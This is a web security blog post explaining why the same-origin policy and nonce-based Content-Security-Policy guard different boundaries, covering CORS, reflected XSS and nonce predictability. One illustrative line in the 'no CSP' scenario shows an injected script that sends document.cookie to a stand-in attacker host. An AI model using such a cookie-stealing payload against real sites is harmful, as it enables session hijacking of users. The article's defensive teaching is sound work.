DARINORCold Lab

// Writing

CSP Nonces and the Same-Origin Policy Solve Different Problems

By
6 min read
Agent architecture & containment#appsec#web-security#csp

Two browser mechanisms get treated as interchangeable because they both come up in the same sentence about stopping cross-site scripting: the same-origin policy (SOP) and a nonce-based Content-Security-Policy. They are not the same control, they don't compete, and mixing them up in a design review usually means one real boundary is undefended while everyone feels covered.

The one-line version: SOP decides which origin can read which origin's data. A CSP nonce decides which script on this page is allowed to execute. One is about crossing a boundary between sites. The other is about what runs inside a single page, regardless of which site it's on.

What the same-origin policy actually guards

SOP has been the browser's default trust boundary since 1995: a script running on https://a.example cannot read the DOM, cookies, or localStorage of https://b.example, and a response from a cross-origin fetch is opaque to the calling script unless the server opts in via CORS. The unit SOP reasons about is the origin — scheme, host, and port — and it applies uniformly, with no configuration required. You don't turn SOP on; you occasionally have to punch a deliberate, audited hole in it (CORS, postMessage, document.domain in older code).

Nothing about SOP asks whether a script is inline or external, whether it carries any attribute, or how it got onto the page. SOP doesn't care how a script ended up executing — only what origin it's now allowed to touch once it has. If an agentic browser reads across an origin boundary because a page instructed it to, that's a failure at a different layer entirely — the agent, not the origin model — and no CSP directive changes that outcome, because CSP governs what a page can execute, not what an agent acting on the user's behalf can read.

What a CSP nonce actually guards

A nonce-based Content-Security-Policy answers a narrower, unrelated question: on this specific page, which <script> tags am I willing to run?

Content-Security-Policy: script-src 'nonce-r4nd0mVALUEperResponse'

The server generates a fresh, cryptographically random value on every response and echoes it into a nonce attribute on each script tag it intends to allow:

<script nonce="r4nd0mVALUEperResponse">/* trusted, ships with the page */</script>

The browser executes a script only if its nonce attribute matches the value in the response's CSP header for that exact response. An attacker who manages to inject a <script> tag through a reflected-XSS bug — the classic "stick attacker-controlled input into the page" flaw — cannot guess the nonce, because it's regenerated per response and never reused. The injected tag has no matching nonce, so the browser refuses to run it. unsafe-inline without a nonce or hash defeats this entirely, which is why it's the first thing a CSP linter should flag.

That's the whole mechanism: it distinguishes scripts the server intended to ship from scripts an attacker managed to smuggle in, on the same origin, in the same response. It never touches the question of what a different origin is allowed to read.

Why conflating them leaves a gap

Picture two designs, each defended by only one of these mechanisms:

Strict CSP with nonces, no attention to CORS. Every script on the page is exactly the one the server intended — nonce-matched, no injected script survives. Meanwhile the API behind it echoes Access-Control-Allow-Origin: * with credentials enabled. The nonce did its job perfectly. The origin boundary was never the thing it protected, and it's wide open.

Solid SOP defaults, no CSP at all. Cross-origin reads are exactly as restricted as the browser guarantees by default — no CORS holes, nothing unusual. But the page reflects a query parameter into the DOM without encoding it, an attacker injects <script>fetch('https://evil.example?d='+document.cookie)</script>, and it runs — same origin, no cross-origin read required, so SOP was never in the attacker's way to begin with. unsafe-inline (the default when no script-src is set at all) waves it through.

Neither scenario is a same-origin-policy failure or a CSP failure in isolation — they're a mismatch between the boundary you reinforced and the boundary the attack actually crossed. XSS that stays on-origin is a CSP problem; SOP was never going to stop it, because nothing crossed an origin. Malicious cross-origin reads are a CORS/SOP problem; a nonce was never going to stop them, because the script that ran was the one you shipped.

Where they actually interact

There's one place the two mechanisms genuinely touch: a nonce only protects you if it's unpredictable and single-use per response. A nonce that's static across every page load, derived from something guessable (a timestamp, a hash of the URL path), or leaked back to the page through a same-origin reflection bug is a nonce in name only — an attacker who can predict or read it can stamp their injected script with it and CSP stops doing anything. That failure mode is same-origin in nature (the leak usually happens through the page's own origin, not a cross-origin read), but the fix lives entirely in how the nonce is generated and delivered, not in SOP.

It's also worth being explicit that a nonce is not a session token, a CSRF token, or an identity of any kind — it authorizes a script tag, once, for one response. Reusing your CSRF token generator to produce nonces (or vice versa) is a category error even when the code would technically work.

The practical takeaway

Treat these as answers to two different questions, and design for both independently:

  • "Can origin B read origin A's data?" — SOP's question. Audit your CORS configuration, your postMessage origin checks, and — if agents act on a user's behalf inside the browser — what those agents can read across tabs, which SOP was never built to constrain in the first place.
  • "Can an attacker get an unintended script to execute on this page?" — CSP's question. A strict script-src with per-response nonces (or hashes for static inline scripts), no unsafe-inline, no unsafe-eval, closes the door XSS walks through.

A strict CSP does not make your CORS policy safe to loosen. A tight CORS policy does not make unsafe-inline acceptable. They're independent line items on the same checklist, not substitutes for each other.

If you have a CSP header in hand, the CSP Header Analyzer parses it and flags the usual gaps — missing script-src, unsafe-inline, wildcard sources — entirely in your browser, before you ship it rather than after an incident.